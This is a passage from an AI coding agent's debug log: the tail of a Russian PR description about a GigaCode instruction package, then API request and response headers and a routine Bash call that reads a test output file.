(\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e runner, \u0442\u0430\u043a \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u043e; \u0432 Windows \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043e\u043a\u043d\u043e PowerShell) |\\n| \u041e-6 | \u041e\u0442\u043a\u0430\u0437 runner \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u2014 (\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442 \u041e\u0421 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043d\u0430 Windows \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u043c) |\\n| \u041e-7 | \u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f KB \u0432 `docs/kb/` \u043b\u043e\u043c\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430 | \u2014 (\u043e\u0431\u0445\u043e\u0434 \u0432 `03`) |\\n| \u041e-8 | \u041d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f Working; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0431\u043b\u043e\u043a PowerShell \u0432 `05` | B-219 (\u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 B-199 \u0434\u043b\u044f Cline) |\\n| \u041e-9 | \u041d\u0435\u0442 \u043d\u0430\u0432\u044b\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0434\u0451\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043f\u043e \u0443\u0437\u043b\u0430\u043c; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0444\u0440\u0430\u0437\u0430 | B-221 |\\n| \u041e-10 | \u041d\u0430\u0432\u044b\u043a\u0438 \u0443\u0437\u043b\u043e\u0432 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 Markdown, \u0430 runner \u043d\u0430 `n12`/`n13` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 JSON Working/Release | B-220 |\\n\\nB-200 (hooks Cline \u043d\u0430 Windows, \u041e-3 Cline-\u043f\u0430\u043a\u0435\u0442\u0430) \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c Cline (#636). \u041f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043e\u043d\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u044d\u0442\u043e\u043c PR B-200 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f.\\n\\n\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u0435:\\n- \u0441\u0430\u043c GigaCode CLI \u0432 CI \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f: \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u0432\u0435\u0440\u0435\u043d\u044b \u0441 [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 GitVerse](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/commands); `/context` \u0438 `/copy` \u0443\u0431\u0440\u0430\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0438\u0445 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c;\\n- \u043c\u043e\u0436\u0435\u0442 \u043b\u0438 GigaCode \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 (\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0441\u0438\u0442 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0432 `runs\\\\TASK-ID\\\\evidence\\\\sources\\\\`);\\n- \u043e\u0442\u0432\u0435\u0442 GigaCode \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0431 `AGENTS.md` \u0432 `03` \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u0444\u0430\u0439\u043b\u0430, \u043d\u043e \u0442\u043e, \u0447\u0442\u043e GigaCode \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 `AGENTS.md` \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\",\n[2026-09-29T08:02:33.256Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:33.256Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:33.256Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:33.256Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:33.256Z] [INFO]   }\n[2026-09-29T08:02:33.256Z] [INFO] }\n[2026-09-29T08:02:33.353Z] [STDOUT] [log_135a26] sending request {\n[2026-09-29T08:02:33.359Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:33.369Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:33.372Z] [STDOUT]   options: {\n[2026-09-29T08:02:33.375Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:33.378Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:33.380Z] [STDOUT]     body: {\n[2026-09-29T08:02:33.384Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:33.386Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:33.389Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:33.392Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:33.396Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:33.400Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:33.403Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:33.406Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:33.408Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:33.415Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:33.418Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:33.425Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:33.431Z] [STDOUT]     },\n[2026-09-29T08:02:33.437Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:33.446Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:33.449Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:33.455Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:33.461Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:33.468Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:33.473Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:33.477Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:33.482Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:33.485Z] [STDOUT]     },\n[2026-09-29T08:02:33.490Z] [STDOUT]     stream: true,\n[2026-09-29T08:02:33.492Z] [STDOUT]   },\n[2026-09-29T08:02:33.498Z] [STDOUT]   headers: {\n[2026-09-29T08:02:33.506Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:33.510Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:33.515Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:33.518Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:33.525Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:33.527Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:33.532Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:33.535Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:33.552Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:33.566Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2382\",\n[2026-09-29T08:02:33.572Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:33.613Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:33.615Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:33.620Z] [STDOUT]     \"x-client-request-id\": \"3273d902-4c86-4d38-9a30-480940ceb0ae\",\n[2026-09-29T08:02:33.636Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:33.638Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:33.641Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:33.643Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:33.647Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:33.649Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:33.651Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:33.655Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:33.664Z] [STDOUT]   },\n[2026-09-29T08:02:33.666Z] [STDOUT] }\n[2026-09-29T08:02:34.243Z] [STDOUT] [log_135a26, request-id: \"req_011CfXP4aXkgh2uU7cGxAUu2\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 893ms\n[2026-09-29T08:02:34.250Z] [STDOUT] [log_135a26] response start {\n[2026-09-29T08:02:34.254Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:34.256Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:34.259Z] [STDOUT]   headers: {\n[2026-09-29T08:02:34.264Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:34.268Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:34.273Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:34.277Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:34.280Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:34.285Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.287Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:34.290Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:34.293Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:34.296Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:34.299Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:34.303Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:34.305Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:34.309Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.311Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:34.314Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:34.317Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:34.319Z] [STDOUT]     \"cf-ray\": \"a429775e8bcd5d90-FRA\",\n[2026-09-29T08:02:34.322Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:34.324Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:34.326Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:34.329Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:34.331Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:34 GMT\",\n[2026-09-29T08:02:34.334Z] [STDOUT]     \"request-id\": \"req_011CfXP4aXkgh2uU7cGxAUu2\",\n[2026-09-29T08:02:34.338Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:34.340Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:34.345Z] [STDOUT]     traceresponse: \"00-9f10720e043efdb724f2d1bdb1279ee3-ae24ed8fc2f03316-01\",\n[2026-09-29T08:02:34.347Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:34.349Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:34.351Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:34.354Z] [STDOUT]   },\n[2026-09-29T08:02:34.356Z] [STDOUT]   durationMs: 893,\n[2026-09-29T08:02:34.358Z] [STDOUT] }\n[2026-09-29T08:02:34.361Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:34.365Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:34 GMT\",\n[2026-09-29T08:02:34.370Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:34.373Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:34.379Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:34.386Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:34.388Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:34.390Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:34.393Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:34.395Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:34.397Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:34.399Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:34.404Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:34.407Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:34.411Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:34.415Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:34.418Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:34.420Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.423Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:34.427Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:34.430Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:34.433Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:34.437Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.440Z] [STDOUT]   \"request-id\": \"req_011CfXP4aXkgh2uU7cGxAUu2\",\n[2026-09-29T08:02:34.443Z] [STDOUT]   \"traceresponse\": \"00-9f10720e043efdb724f2d1bdb1279ee3-ae24ed8fc2f03316-01\",\n[2026-09-29T08:02:34.456Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:34.460Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:34.463Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:34.466Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:34.469Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:34.471Z] [STDOUT]   \"cf-ray\": \"a429775e8bcd5d90-FRA\",\n[2026-09-29T08:02:34.474Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:34.477Z] [STDOUT] [log_135a26] response parsed {\n[2026-09-29T08:02:34.480Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:34.483Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:34.486Z] [STDOUT]   body: X {\n[2026-09-29T08:02:34.489Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:34.492Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:34.495Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:34.497Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:34.500Z] [STDOUT]     },\n[2026-09-29T08:02:34.502Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:34.505Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:34.507Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:34.511Z] [STDOUT]   },\n[2026-09-29T08:02:34.513Z] [STDOUT]   durationMs: 894,\n[2026-09-29T08:02:34.517Z] [STDOUT] }\n[2026-09-29T08:02:35.489Z] [INFO] {\n[2026-09-29T08:02:35.489Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"message\": {\n[2026-09-29T08:02:35.489Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"id\": \"msg_011CfXP4b3m1scjRxR4kzviw\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"content\": [\n[2026-09-29T08:02:35.489Z] [INFO]       {\n[2026-09-29T08:02:35.489Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:35.489Z] [INFO]         \"id\": \"toolu_01BiNF4Pt8etidyczS8ygNz7\",\n[2026-09-29T08:02:35.489Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:35.489Z] [INFO]         \"input\": {\n[2026-09-29T08:02:35.489Z] [INFO]           \"command\": \"cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output | tail -5\",\n[2026-09-29T08:02:35.489Z] [INFO]           \"description\": \"Check execution-package test result\"\n[2026-09-29T08:02:35.489Z] [INFO]         },\n[2026-09-29T08:02:35.489Z] [INFO]         \"caller\": {\n[2026-09-29T08:02:35.489Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:02:35.489Z] [INFO]         }\n[2026-09-29T08:02:35.489Z] [INFO]       }\n[2026-09-29T08:02:35.489Z] [INFO]     ],\n[2026-09-29T08:02:35.489Z] [INFO]     \"container\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"usage\": {\n[2026-09-29T08:02:35.489Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:02:35.489Z] [INFO]       \"cache_creation_input_tokens\": 3755,\n[2026-09-29T08:02:35.489Z] [INFO]       \"cache_read_input_tokens\": 83028,\n[2026-09-29T08:02:35.489Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:02:35.489Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:02:35.489Z] [INFO]         \"ephemeral_1h_input_tokens\": 3755\n[2026-09-29T08:02:35.489Z] [INFO]       },\n[2026-09-29T08:02:35.489Z] [INFO]       \"output_tokens\": 17,\n[2026-09-29T08:02:35.489Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:02:35.489Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:02:35.489Z] [INFO]     },\n[2026-09-29T08:02:35.489Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:02:35.489Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"context_management\": null\n[2026-09-29T08:02:35.489Z] [INFO]   },\n[2026-09-29T08:02:35.489Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:35.489Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"uuid\": \"607461cf-0469-4336-ad81-eff167abcbf1\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:35.473Z\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"request_id\": \"req_011CfXP4aXkgh2uU7cGxAUu2\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:02:35.489Z] [INFO]     \"toolu_01BiNF4Pt8etidyczS8ygNz7\": {\n[2026-09-29T08:02:35.489Z] [INFO]       \"command\": \"cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output | tail -5\",\n[2026-09-29T08:02:35.489Z] [INFO]       \"description\": \"Check execution-package test result\"\n[2026-09-29T08:02:35.489Z] [INFO]     }\n[2026-09-29T08:02:35.489Z] [INFO]   }\n[2026-09-29T08:02:35.489Z] [INFO] }\n[2026-09-29T08:02:37.865Z] [INFO] {\n[2026-09-29T08:02:37.865Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"message\": {\n[2026-09-29T08:02:37.865Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:02:37.865Z] [INFO]     \"content\": [\n[2026-09-29T08:02:37.865Z] [INFO]       {\n[2026-09-29T08:02:37.865Z] [INFO]         \"tool_use_id\": \"toolu_01BiNF4Pt8etidyczS8ygNz7\",\n[2026-09-29T08:02:37.865Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:02:37.865Z] [INFO]         \"content\": \"PyYAML==6.0.3\\njsonschema==4.26.0\",\n[2026-09-29T08:02:37.865Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:37.865Z] [INFO]       }\n[2026-09-29T08:02:37.865Z] [INFO]     ]\n[2026-09-29T08:02:37.865Z] [INFO]   },\n[2026-09-29T08:02:37.865Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:37.865Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"uuid\": \"c54e6136-921f-45fa-b8a4-a208c78d2d7f\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:37.856Z\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:37.865Z] [INFO]     \"stdout\": \"PyYAML==6.0.3\\njsonschema==4.26.0\",\n[2026-09-29T08:02:37.865Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:37.865Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:37.865Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:37.865Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:37.865Z] [INFO]   }\n[2026-09-29T08:02:37.865Z] [INFO] }\n[2026-09-29T08:02:37.948Z] [STDOUT] [log_54f062] sending request {\n[2026-09-29T08:02:37.957Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:37.962Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:37.964Z] [STDOUT]   options: {\n[2026-09-29T08:02:37.972Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:37.974Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:37.979Z] [STDOUT]     body: {\n[2026-09-29T08:02:37.986Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:37.990Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:37.994Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:37.999Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:38.002Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:38.008Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:38.013Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:38.020Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:38.024Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:38.035Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:38.040Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:38.055Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:38.060Z] [STDOUT]     },\n[2026-09-29T08:02:38.065Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:38.070Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:38.080Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:38.088Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:38.091Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:38.098Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:38.106Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:38.120Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:38.127Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:38.133Z] [STDOUT]     },\n[2026-09-29T08:02:38.142Z] [STDOUT]     stream: 